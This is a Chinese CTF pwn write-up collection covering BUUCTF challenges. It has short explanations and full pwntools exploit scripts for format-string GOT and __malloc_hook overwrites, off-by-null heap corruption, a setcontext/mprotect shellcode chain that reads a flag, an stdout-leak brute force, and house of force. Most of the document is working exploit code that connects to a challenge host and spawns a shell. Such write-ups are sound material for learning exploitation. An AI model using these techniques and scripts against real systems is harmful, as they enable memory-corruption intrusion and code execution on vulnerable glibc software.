格式化字符串 bss上格式化字符串 ciscn_2019_nw_6 BUUCTF在线评测 (buuoj.cn) 
泄露libc,泄露栈地址,然后就可以利用调用链之间的ebp做文章
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def change_stack (stack_addr,dest_addr) :     for  i in range (4 ) :         sla (b"please input the key:\n" ,f"%{stack_addr&0xff}c%4$hhn" )          sla (b"please input the key:\n" ,f"%{dest_addr&0xff}c%8$hhn" )          stack_addr+=1          dest_addr=dest_addr>>8  sla(b"please input the key:\n" ,b"%17$p" ) libc_base=int (r(10 ),16 )-libc.sym["__libc_start_main" ]-241  sla(b"please input the key:\n" ,b"%4$p" ) stack_addr=int (r(10 ),16 ) main_stack_addr=stack_addr+0x14  system_addr=libc_base+libc.sym["system" ] change_stack(main_stack_addr,system_addr) canshu=main_stack_addr+8  bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0" )) change_stack(canshu,bin_sh_addr) sla(b"please input the key:\n" ,f"%{(main_stack_addr-4)&0xff}c%4$hhn" ) sla(b"please input the key:\n" ,b"hello" ) it() 
printf触发malloc cscctf_2019_final_babyprintf BUUCTF在线评测 
这个题目是一个挺不错的题目,也是利用了malloc,但是用one)gaghtet打,因为在libc-2.27对size有了check
1 2 3 4 5 6 7 8 9 sl(b"%2$p" ) libc_base = int (rld(), 16 ) - 0x7FE3B277A8D0  + 0x7FE3B238D000  malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] one_gadget_addr = libc_base + one_gadget[1 ] payload = fmtstr_payload(8 , {malloc_hook_addr: one_gadget_addr}) sl(payload) sl(f"%{65536}c" .encode()) it() 
0ctf2017_easiestprintf BUUCTF在线评测 
这个题牛逼,需要看pritnf源码
printf会触发malloc
好题
牛逼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/python3 # -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * import ctypes # shell = ssh(host="node4.buuoj.cn" , user="CTFMan" , port=26682, password="guest" ) # shell.process it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./EasiestPrintf"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28439      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x804881C     c     " ""     gdb.attach(io, gdbscript=gdbscript) sla(b"read:\n" , str(elf.got["puts" ]).encode()) libc_base = int (rld(), 16 ) - libc.sym["puts" ] malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] sh_addr = 0x0804A001  system_addr = libc_base + libc.sym["system" ] payload = (     fmtstr_payload(7 , {malloc_hook_addr: system_addr, sh_addr: b"sh\0" })     + f"%{0x0804A001-32}c" .encode() ) sla(b"Good Bye\n" , payload) it() 
栈上的格式化字符串 watevr_2019_voting_machine_2 比较简单的修改got
1 2 sla(b"Topic: ",b"aa"+fmtstr_payload(8,{elf.got["exit"]:0x8420736},numbwritten=2)) it() 
wustctf2020_babyfmt BUUCTF在线评测 
其实题目不算复杂,主要可以通过修改一个类似于计数器的值实现两次printf,然后这个题的关键就是FILE结构
可以看到这里关闭了IO_stdout,所以需要我们提前把这个的fileno修改一下,就不会关闭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * import binascii it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./wustctf2020_babyfmt"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28573      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *$rebase(0xECC)     b *$rebase(0xF43)     c     " ""     gdb.attach(io, gdbscript=gdbscript) # <=4096  无洞 def add(name: bytes, sex: bytes, content: bytes):     sa(b"ption--->>\n" , b"1" )     sa(b"name\n" , name)     sa(b"sex\n" , sex)     sa(b"information\n" , content) def edit(index: int , content: bytes):     sa(b"ption--->>\n" , b"3" )     sa(b"index : \n" , str(index).encode())     sa(b"change sex?\n" , b"n" )     sa(b"information\n" , content) # 没有清空 def free (index: int ):     sa(b"ption--->>\n" , b"2" )     sa(b"index : \n" , str(index).encode()) def show(index: int ):     sa(b"choice : \n" , b"3" )     sa(b"index : \n" , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out sla(b"time:" , b"1 2 3" ) sla(b">>" , b"2" ) s(b"%7$n%18$p%3$p" ) secret_addr = int (r(14 ), 16 ) - 0x55DF49801050  + 0x55DF49A02060  stdout_fileno = int (r(14 ), 16 ) - 0x7F5DA2FED260  + 0x7F5DA32BB690  sla(b">>" , b"2" ) payload = b"%2c%10$n%11$s" .ljust(0x10 , b"a" ) + p64(stdout_fileno) + p64(secret_addr) s(payload) r(2 ) secret = r(0x40 ) sla(b">>" , b"3" ) sla(b"door!\n" , secret) # ru(b"\x55" ) # print(r(0x40)) it() 
bbctf_2020_fmt_me BUUCTF在线评测 
这个题目用的snprintf,其实和printf一样,参数位置也都是从栈上来的,只不过后把结果输出到目标 buff,并不影响
这个题目关键也是劫持控制流,由于system的参数是readonly,所以也不好修改,只能把system_got改成main函数,那么第二次把atoi改成system_plt+6,如果还是改成system_got那么就会回到main,而system_plt+6会重新解析地址,不会受现有的got干扰
1 2 3 4 5 6 7 8 9 10 11 12 sla(b"Choice: " , b"2" ) atoi_got = elf.got["atoi" ] system_plt = elf.plt["system" ] + 6  system_got = elf.got["system" ] main_addr = elf.sym["main" ] offset = 6  sa(     b"ou a gift.\n" ,     fmtstr_payload(offset, {system_got: main_addr, atoi_got: system_plt}), ) sl(b"/bin/sh\0" ) it() 
这个题目本来说来难度不大,但当时有点脑残了,导致进入了误区,同时snprintf在pwn里面也不常见,我搜出来的都是php的,所以就想分享一下
报错 有时候%9$n报错的原因要看看到底能不能写,最开始我想写rodata但一致报错,忘记不可以写了
snprintf snprintf,sprintf,printf,这些其实大同小异,n就是多了一个长度的限制,你只能有n个长度的fomrat_string,s的区别可以理解成他把printf的结果从stdout重定向到了指定的buf里面,但是printf的效果和对应的offset还是一摸一样的
%1$p rcx的值
%2$p R8的值
%3$p %4$p 调用之前栈上的第一个值
%5$p 调用之前栈上的第二个值
got,plt表原理 这两个是ctf里面比较常用的结构 这是plt本身的样子,我们可以利用右键unhide
测试代码 system@got.plt 对应的地址
堆 off by null asis2016_b00ks 这个题目漏洞还行,一个off by null,可以修改bss的堆地址,但是这个题目free不太好free edit也不太好edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./b00ks" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path:     libc = ELF(f"{lib_path}/libc.so.6") else:     libc=elf.libc if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port = 28190     io = remote(remote_ip, remote_port) else:     if lib_path:         io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})     else:         io = process(parm) def debug():     global io     gdbscript = """     b      c     x/20xg $rebase(0x202010)     """     gdb.attach(io, gdbscript=gdbscript) def debug_force():     global io     io.close()     gdbscript = """     b *$rebase(0xF2B)     c     """     if lib_path:         io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript)     else:         io=gdb.debug(parm, gdbscript=gdbscript) #0x1000 def add(size,name,size2,des):     sla(b"> ",b"1")     sla(b"Enter book name size: ",str(size))     sla(b"Enter book name (Max 32 chars): ",name)     sla(b"\nEnter book description size: ",str(size2))     sla(b"Enter book description:",des) def free(idx):     sla(b"> ",b"2")     sla(b"Enter the book id you want to delete: ",str(idx)) def show():     sla(b"> ",b"4") def edit(idx,content):     sla(b"> ",b"3")     sla(b"Enter the book id you want to edit: ",str(idx))     sa(b"Enter new book description: ",content) def changeName(name):     sla(b"> ",b'5')     sla(b"Enter author name: ",name) # def rol(val,k): #     s=bin(val)[2:] #     return int(s[k:]+s[:k],2) # def ror(val,k): #     s=bin(val)[2:] #     return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): #     out = "" #     for i in content: #         out = hex(ord(i))[2:] + out #     out = "0x" + out #     return out #debug_force() sla(b"Enter author name: ",b"a"*32) add(0x18,b"1",0x18,b"1") add(0x68,b"2",0x88,b"2") add(0x18,b"3",0x18,b"3") add(0x18,b"/bin/sh\0",0x18,b"/bin/sh\0") add(0x58,b"5",0x58,b"5") free(1) free(3) free(2) add(0x18,b"0",0x18,b"1") add(0x88,p64(1)+p64(0),0x18,b"c") changeName(b"a"*32) free(1) show() ru(b"Name: ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fb41b04c000-0x7fb41b410b78 free(5) add(0x18,b"0",0x18,b"0") add(0x58,p64(1)+p64(0)+p64(libc_base+libc.sym["__free_hook"])+p64(0x18),0x18,b"0") changeName(b"a"*32) edit(1,p64(libc_base+libc.sym["system"])+b"\n") free(4) it() 
沙盒 ycb_2020_easy_heap BUUCTF在线评测 (buuoj.cn) 
这个题目算是很复杂的了,其实整体不复杂,有一个很明显的off by null,unlink构造堆块重叠,但是我们由于题目版本过高,2.30,多了很多check,并且还是沙盒,所以很麻烦
可以看到check了prevsize和chunksize,所以一般的off by null伪造prevsize都会失败,所以我们这里自己在堆上构造一个ptr伪造unlink
泄露libc 和堆地址
首先利用off by null修改prev size和pre_inuse,然后由于我们后free的第三块,所以在第三块里伪造了第一块的堆地址,就是fake ptr,然后后面add的第三块其实是原来的第一个块,然后伪造fd bk,这里4是为了把没有用完的unsorted bin用完,保证unosrted bin为空,不然报错
这个时候可以unlink,因为我们伪造了size
这个时候伪造堆块重叠,因为第五这里
libc-2.30 tcache不可以double free因为他会遍历整个free bins
同时不能分配成负数,libc2.23可以分配成负数
所以我们只能free两个,然后利用还有的指针修改fd
由于开了沙盒,所以要用setcontext
很牛逼的gadget,其中rdx就是[rdi]+8,function[rdx+0x20]
1 mov rdx, qword ptr [rdi + 8 ] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20 ] 0x0000000000154b90  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 heap_start_addr=heap_addr+0x50 #srop mem的地址  rop_start_addr=0xb0 +heap_start_addr#就是我们srop头结束的位置,也就是fake stack 加shellcode payload=p64(0 )+p64(heap_start_addr)+p64(0 )*2 +p64(libc_base+libc.sym["setcontext" ]+61 )#一个是rdx,一个是function payload=payload.ljust(0x68 ,b"\0" ) payload=payload+p64(rop_start_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(rop_start_addr+8 )+p64(libc_base+libc.sym["mprotect" ])#这里没变 shellcode=f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(rop_start_addr+0x10 )+asm (shellcode) add(len(payload))#6  edit(6 ,payload) 
最后就是淦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ycb_2020_easy_heap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =29270      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0x1730)     c     x/10xw $rebase(0x4060)     x/10xg $rebase(0x4460)     " ""     gdb.attach(io, gdbscript=gdbscript)     sleep(1 ) def add(size):     sla(b"Choice:" , b"1" )     sla(b"Size: " ,str(size)) def free (index):     sla(b"Choice:" , b"3" )     sla(b"Index: " ,str(index)) def show(index):     sla(b"Choice:" , b"4" )     sla(b"Index: " ,str(index)) def edit(index,content):     sla(b"Choice:" , b"2" )     sla(b"Index: " ,str(index))     sa(b"Content: \n" ,content)     def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x418 )#0  add(0x18 )#1  add(0x4f8 )#2  add(0x28 )#3  free (0 )add(0x28 )#0  show(0 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7f82d01d4fd0 +0x7f82cffea000  free (0 )free (3 )add(0x28 )#0  show(0 ) ru(b"Content: " ) heap_addr=u64(rud(b"[" ).ljust(8 ,b"\0" )) edit(1 ,b"a" *0x10 +p64(0x430 )) edit(0 ,p64(heap_addr)) add(0x28 )#3  ptr_addr=heap_addr+0x940  edit(3 ,p64(0 )+p64(0x431 )+p64(ptr_addr-0x18 )+p64(ptr_addr-0x10 )) add(0x3e8 )#4  free (2 )add(0x18 )#2  add(0x18 )#5  free (2 )free (4 )edit(5 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 )#2  add(0x18 )#4  #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 0x0000000000154b90 edit(4 ,p64(libc_base+0x0000000000154b90 )) heap_start_addr=heap_addr+0x50  rop_start_addr=0xb0 +heap_start_addr payload=p64(0 )+p64(heap_start_addr)+p64(0 )*2 +p64(libc_base+libc.sym["setcontext" ]+61 ) payload=payload.ljust(0x68 ,b"\0" ) payload=payload+p64(rop_start_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(rop_start_addr+8 )+p64(libc_base+libc.sym["mprotect" ]) shellcode=f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(rop_start_addr+0x10 )+asm (shellcode) add(len(payload))#6  edit(6 ,payload) free (6 )it() 
堆溢出 others_pwn1 BUUCTF在线评测 (buuoj.cn) 
一个傻逼题,直接溢出修改指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./pwn1"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27903      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x400C22     c     x/10xg 0x602060     " ""     gdb.attach(io, gdbscript=gdbscript)     sleep(1 ) #name有一处 def add(name,content):     sla(b">> " , b"1" )     sa(b"Please give me the book's name :\n" ,name)     sa(b"Please input the description about the book:\n" ,content)     sla(b"How many book you want to take?\n" ,b"1" ) def free (index):     sla(b">> " , b"4" )     sla(b"Which book you want to delete?\n" ,str(index)) def show():     sla(b">> " , b"2" ) def edit(index,content):     sla(b">> " , b"3" )     sla(b"Which book you want to edit?\n" ,str(index))     sa(b"Please give me the book's name :\n" ,content)     sla(b"Do you want to change the description?(y/n)" ,b"n" )     sla(b"How many book you want to take?" ,b"1" ) add(b"a" ,b"b" *0x80 ) edit(0 ,b"a" *0x48 +p64(elf.got["puts" ])) show() ru(b"description: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7fcd58e6a690 +0x7fcd58dfb000  sla(b">> " , b"3" ) sla(b"Which book you want to edit?\n" ,b"0" ) sa(b"Please give me the book's name :\n" ,b"/bin/sh\0" .ljust(0x48 ,b"a" )+p64(libc_base+libc.sym["__free_hook" ])) sla(b"Do you want to change the description?(y/n)" ,b"y" ) sa(b"Please input the description about the book:\n" ,p64(libc_base+libc.sym["system" ])) sla(b"How many book you want to take?" ,b"1" ) free (0 )it() 
realloc roarctf_2019_realloc_magic https://buuoj.cn/challenges#roarctf_2019_realloc_magic 
挺好的题目,出题也很高端,从realloc的机制以及IO attack,都很好
free不清空,可以double free
realloc分配
用来清空一次ptr,不然realloc打IO之后打不了
realloc用到的几种情况
ptr≠NULL,size=0,相当于free 
ptr==NULL,size≠NULL,相当于malloc 
ptr≠NULL,size>,会尝试合并后面的,如果后面是top chunk就直接切割top chunk调整大小,如果后面的是free状态就会unlink,(所以要打unsorted bin) 
 
1 2 3 4 5 6 add(0x18 ,b"a" )     add(0 ,b"" )     add(0x88 ,b"a" )     add(0 ,b"" )     add(0x28 ,b"a" )     add(0 ,b"" ) 
最后0x28是防止top chunk和unsorted bin合并,必须要用add 0,因为这样才可以让ptr==NULL,然后调用malloc
1 2 3 4 5 6 7 8 9 10 11 add(0x18 ,b"a" )     add(0 ,b"" )     add(0x88 ,b"a" )     add(0 ,b"" )     add(0x28 ,b"a" )     add(0 ,b"" )     add(0x88 ,b"a" )     for  i in range (7 ) :         free ()      add (0 ,b"" )  
重新拿到0x88,然后free 7次,再利用realloc free掉进入unsorted bin同时ptr==NULL
1 2 3 4 5 add(0x18 ,b"a" )#拿到0x18 的块,如果pt!=NULL 拿不到     add(0xa8 ,p64(0 )*3 +p64(0x21 )+p16(0xa760 ))#利用realloc 合并的性质,和我们的unsorted bin合并掉,同时tcahce posiont,伪造size,同时把fd修改为_IO_2_1_stdout_的地址,这里需要爆破     add(0 ,b"" )#ptr变成空      add(0x88 ,b"a" )#这个时候由于0x88 里面有两个堆,先要malloc 一个出来     add(0 ,b"" )#这个时候free 由于size伪造就不会进入0x88 ,我们就可以malloc 到IO那里取 
tcache position的原因就是在malloc取tcahe的时候,不会再一次校验tcache的大小,只会看看里面是不是有bins
1 2 3 fake_stdout=p64(0x00000000fbad3887 )+p64(0 )*3 +p8(0x58 )     add(0x88 ,fake_stdout)#这个时候就直接修改了stdout  这里面需要注意的几个地方 
puts会调用_IO_sputn
基本的flag不需要改动,都会正常判断
由于我们puts的时候输出缓冲区是满的,所以也不需要修改
其实修不修改也无所谓,关键就是要进入到_IO_overfollow,因为当输出缓冲区有空间的时候,我们就直接把内容copy到输出缓冲区,然后再刷新io,如果没有空间,就可能要分配空间或者刷新,我们要利用的就是刷新缓冲区
进入overfollow,里面会调用do_wrtie,所以我们要伪造write_base,并且要小于ptr,一般就是修改最后一位,找到更小的地方并且可以泄露libc的,其实很多,因为std结构都在附近,我们这里选用stdeer的jmp table
new_do_write,这里比较关键,由于我们要修改write_base必须要2覆盖掉IO_read_end,所以一旦进入else if就挂了,我们必须要进入if,所以就要有0x1000,所以我加上了0x1000,跟原来的IO比较,然后就可以write进行输出了
当有 libc地址了,需要把ptr置为0,不然我们无法开启新的一轮操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add(0x38 ,b"a" )     add(0 ,b"" )     add(0x98 ,b"a" )     add(0 ,b"" )     add(0x48 ,b"a" )     add(0 ,b"" )     add(0x98 ,b"a" )     for  i in range (7 ) :         free ()      add (0 ,b"" )      add (0x38 ,b"a" )      add (0xd8 ,p64(0 )*7 +p64(0x41 )+p64(libc_base+libc.sym["__free_hook" ]-0x8 ))      add (0 ,b"" )      add (0x98 ,b"a" )      add (0 ,b"" )      add (0x98 ,b"/bin/sh\0" +p64(libc_base+libc.sym["system" ]))      free ()  
其实后面差不多,基本一模一样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./roarctf_2019_realloc_magic"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] def debug():     gdbscript = "" "      b *$rebase(0xA2A)     c     x/xg $rebase(0x202058)     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size,content):     sla(b">> " , b"1" )     sla(b"Size?\n" ,str(size))     sa(b"Content?\n" ,content) def free ():     sla(b">> " , b"2" ) while  True:    remote_ip = "node4.buuoj.cn"      remote_port =27573      io = remote(remote_ip, remote_port)     add(0x18 ,b"a" )     add(0 ,b"" )     add(0x88 ,b"a" )     add(0 ,b"" )     add(0x28 ,b"a" )     add(0 ,b"" )     add(0x88 ,b"a" )     for  i in range(7 ):         free ()     add(0 ,b"" )     add(0x18 ,b"a" )     add(0xa8 ,p64(0 )*3 +p64(0x21 )+p16(0xa760 ))     add(0 ,b"" )     add(0x88 ,b"a" )     add(0 ,b"" )     fake_stdout=p64(0x00000000fbad3887 )+p64(0 )*3 +p8(0x58 )     add(0x88 ,fake_stdout)     content=io.recvuntil(b"\x7f" ,timeout=2 )     if  content==b"" :         io.close()         continue      libc_base=u64(content.ljust(8 ,b"\0" ))-libc.sym["_IO_file_jumps" ]     sla(b">> " , b"666" )     add(0x38 ,b"a" )     add(0 ,b"" )     add(0x98 ,b"a" )     add(0 ,b"" )     add(0x48 ,b"a" )     add(0 ,b"" )     add(0x98 ,b"a" )     for  i in range(7 ):         free ()     add(0 ,b"" )     add(0x38 ,b"a" )     add(0xd8 ,p64(0 )*7 +p64(0x41 )+p64(libc_base+libc.sym["__free_hook" ]-0x8 ))     add(0 ,b"" )     add(0x98 ,b"a" )     add(0 ,b"" )     add(0x98 ,b"/bin/sh\0" +p64(libc_base+libc.sym["system" ]))     free ()     it() 
这里可以看出来,利用stdout泄露很简单,puts就可以利用,然后我们只需要把write_base修改一下,然后flag加上0x1000就好,十分的轻松
house of force 
题目中没有给free之类的接口 
可以修改top chunk的size 
可以分配较大的size如-0x30 
 
其实house of force和house of orange两种大概的条件差不多,都需要伪造一个top chunk的size,但是house of force尽量要伪造的很大如-1,然后保证我就算malloc(-0x40)也可以分配,这个达到的效果就是top chunk的整体迁移,如果我们迁移到bss上去了,后面再malloc之后就可以改掉对应的堆指针
但是house of orange要尽量的伪造小,进入sysmalloc里面free掉top chunk,这样就多了一个unsorted bin,后面的利用就参考unsorted bin打法
bcloud_bctf_2016 BUUCTF在线评测 (buuoj.cn) 
这个题绝了,其实主函数没有漏洞,add edit free都十分完美,但漏洞居然是出在init里面,是我没有分析周全
这里用的是strcpy,本来没有漏洞,因为我们会自动加上一个\x00,而且malloc的size也溢出不了,但是这里v2在之后赋值,刚好会覆盖掉\x00,导致后面pritnf name泄露了堆地址
这里也是同理,s输入之后\x00截断会被v2覆盖,然后我们的v3又是在v2的后面,所以strcpy(v2,s)其实是strcpy(v2,s,v2,v3),然后v2堆分配又在v4后面,所以就可以直接溢出到topchunk
1 2 3 4 5 6 7 sa(b"Input your name:\n" ,b"a" *63 +b"b" ) ru(b"b" ) heap_addr=u32(r(4 ))#泄露堆地址 top_chunk_addr=0xd0 +heap_addr bss_adr=0x804B120  sa(b"Org:\n" ,b"a" *64 ) sla(b"Host:\n" ,p32(0xfffffff1 ))#刚好就覆盖了size,修改为比较大的值 
1 2 3 4 5 6 7 8 9 10 11 add(bss_adr-top_chunk_addr-4 -0x10 ,b"" )#通过这一步,我们的top chunk迁移到了bss地方 add(0x18 ,b"a" )#这个堆地址就是我们的bss ptr add (0x18 ,b"b" ) #这个用来修改free  gotadd (0x18 ,b"/bin/sh\0" ) #用来getshelledit (1 ,p32(elf.got["puts" ])+p32(bss_adr+0x10 )+p32(elf.got["free" ])+p32(bss_adr+0x40 )) #由于有00截断,所以要手动填写地址edit (2 ,p32(elf.plt["puts" ])) #修改free  got为put pltfree (0 ) #泄露libclibc_base=u32(ru(b"\xf7" ))-libc.sym["puts" ] edit(2 ,p32(libc_base+libc.sym["system" ]))#覆盖free  got为system free (3 ) #getshell it () 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./bcloud_bctf_2016"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 27585      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x8048A19     c     x/10xw 0x804B120     x/10xw 0x804B0A0      " ""     gdb.attach(io, gdbscript=gdbscript) def add(size, content):     sla(b"option--->>\n" , b"1" )     sla(b"length of the note content:\n" , str(size))     sla(b"Input the content:\n" , content) def edit(index, content):     sla(b"option--->>\n" , b"3" )     sla(b"Input the id:\n" , str(index))     sla(b"Input the new content:\n" , content) def free (index):     sla(b"option--->>\n" , b"4" )     sla(b"Input the id:\n" , str(index)) sa(b"Input your name:\n" ,b"a" *63 +b"b" ) ru(b"b" ) heap_addr=u32(r(4 )) top_chunk_addr=0xd0 +heap_addr bss_adr=0x804B120  sa(b"Org:\n" ,b"a" *64 ) sla(b"Host:\n" ,p32(0xfffffff1 )) add(bss_adr-top_chunk_addr-4 -0x10 ,b"" ) add(0x18 ,b"a" ) add(0x18 ,b"b" ) add(0x18 ,b"/bin/sh\0" ) 